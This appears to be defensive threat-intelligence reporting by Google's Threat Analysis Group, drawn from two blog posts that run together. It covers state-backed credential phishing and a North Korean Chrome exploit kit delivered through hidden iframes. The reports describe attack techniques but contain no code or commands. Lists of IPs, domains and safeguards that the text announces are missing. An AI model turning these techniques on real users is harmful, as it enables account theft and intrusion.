TAG has also continued to observe multiple ransomware brokers continuing to operate in a business as usual sense.


As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.


We promptly identify and remove any such content, but have not observed any significant shifts from the normal levels of activity that occur in the region.


Here is a deeper look at the campaign activity TAG has observed over the past two weeks: Curious Gorge, a group TAG attributes to China's PLA SSF, has conducted campaigns against government and military organizations in Ukraine, Russia, Kazakhstan, and Mongolia.


While this activity largely does not impact Google products, we remain engaged and are providing notifications to victim organizations.


Recently observed IPs used in Curious Gorge campaigns: COLDRIVER, a Russian-based threat actor sometimes referred to as Calisto, has launched credential phishing campaigns, targeting several US based NGOs and think tanks, the military of a Balkans country, and a Ukraine based defense contractor.


However, for the first time, TAG has observed COLDRIVER campaigns targeting the military of multiple Eastern European countries, as well as a NATO Centre of Excellence.


These campaigns were sent using newly created Gmail accounts to non-Google accounts, so the success rate of these campaigns is unknown.


We have not observed any Gmail accounts successfully compromised during these campaigns.


Recently observed COLDRIVER credential phishing domains: Ghostwriter, a Belarusian threat actor, recently introduced a new capability into their credential phishing campaigns.


In mid-March, a security researcher released a blog post detailing a 'Browser in the Browser' phishing technique.


While TAG has previously observed this technique being used by multiple government-backed actors, the media picked up on this blog post, publishing several stories highlighting this phishing capability.


Ghostwriter actors have quickly adopted this new technique, combining it with a previously observed technique, hosting credential phishing landing pages on compromised sites.


The new technique, displayed below, draws a login page that appears to be on the passport.i.ua domain, overtop of the page hosted on the compromised site.


Once a user provides credentials in the dialog, they are posted to an attacker controlled domain.


Recently observed Ghostwriter credential phishing domains:


The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.


We’ll continue to take action, identify bad actors and share relevant information with others across industry and governments, with the goal of bringing awareness to these issues, protecting users and preventing future attacks.


On February 10, Threat Analysis Group discovered two distinct North Korean government-backed attacker groups exploiting a remote code execution vulnerability in Chrome, CVE-2022-0609.


These groups' activity has been publicly tracked as Operation Dream Job and Operation AppleJeus.


However, other organizations and countries may have been targeted.


One of the campaigns has direct infrastructure overlap with a campaign targeting security researchers which we reported on last year.


The exploit was patched on February 14, 2022.


The earliest evidence we have of this exploit kit being actively deployed is January 4, 2022.


We suspect that these groups work for the same entity with a shared supply chain, hence the use of the same exploit kit, but each operate with a different mission set and deploy different techniques.


It is possible that other North Korean government-backed attackers have access to the same exploit kit.


In this blog, we will walk through the observed tactics, techniques and procedures, share relevant IOCs and analyze the exploit kit used by the attackers.


In line with our current disclosure policy, we are providing these details 30 days after the patch release.


The campaign, consistent with Operation Dream Job, targeted over 250 individuals working for 10 different news media, domain registrars, web hosting providers and software vendors.


The targets received emails claiming to come from recruiters at Disney, Google and Oracle with fake potential job opportunities.


The emails contained links spoofing legitimate job hunting websites like Indeed and ZipRecruiter.


Victims who clicked on the links would be served a hidden iframe that would trigger the exploit kit.


Attacker-Owned Fake Job Domains: Exploitation URLs:


Another North Korean group, whose activity has been publicly tracked as Operation AppleJeus, targeted over 85 users in cryptocurrency and fintech industries leveraging the same exploit kit.


This included compromising at least two legitimate fintech company websites and hosting hidden iframes to serve the exploit kit to visitors.


In other cases, we observed fake websites — already set up to distribute trojanized cryptocurrency applications — hosting iframes and pointing their visitors to the exploit kit.


Attacker-Owned Websites: Compromised Websites (Feb 7 - Feb 9): Exploitation URLs:


The attackers made use of an exploit kit that contained multiple stages and components in order to exploit targeted users.


The attackers placed links to the exploit kit within hidden iframes, which they embedded on both websites they owned as well as some websites they compromised.


The kit initially serves some heavily obfuscated javascript used to fingerprint the target system.


This script collected all available client information such as the user-agent, resolution, etc. and then sent it back to the exploitation server.


If a set of unknown requirements were met, the client would be served a Chrome RCE exploit and some additional javascript.


If the RCE was successful, the javascript would request the next stage referenced within the script as “SBX”, a common acronym for Sandbox Escape.


We unfortunately were unable to recover any of the stages that followed the initial RCE.


Careful to protect their exploits, the attackers deployed multiple safeguards to make it difficult for security teams to recover any of the stages.


These safeguards included: Although we recovered a Chrome RCE, we also found evidence where the attackers specifically checked for visitors using Safari on MacOS or Firefox (on any OS), and directed them to specific links on known exploitation servers.


We did not recover any responses from those URLs.


Example Exploit Kit:


The attackers made multiple attempts to use the exploit days after the vulnerability was patched on February 14, which stresses the importance of applying security updates as they become available.


As part of our efforts to combat serious threat actors, we use results of our research to improve the safety and security of our products.


Upon discovery, all identified websites and domains were added to Safe Browsing to protect users from further exploitation.


We also sent all targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity.


We encourage any potential targets to enable Enhanced Safe Browsing for Chrome and ensure that all devices are updated.


TAG is committed to sharing our findings as a way of raising awareness with the security community, and with companies and individuals that might have been targeted or suffered from these activities.


We hope that improved understanding of the tactics and techniques will enhance threat hunting capability and lead to stronger user protections across industry.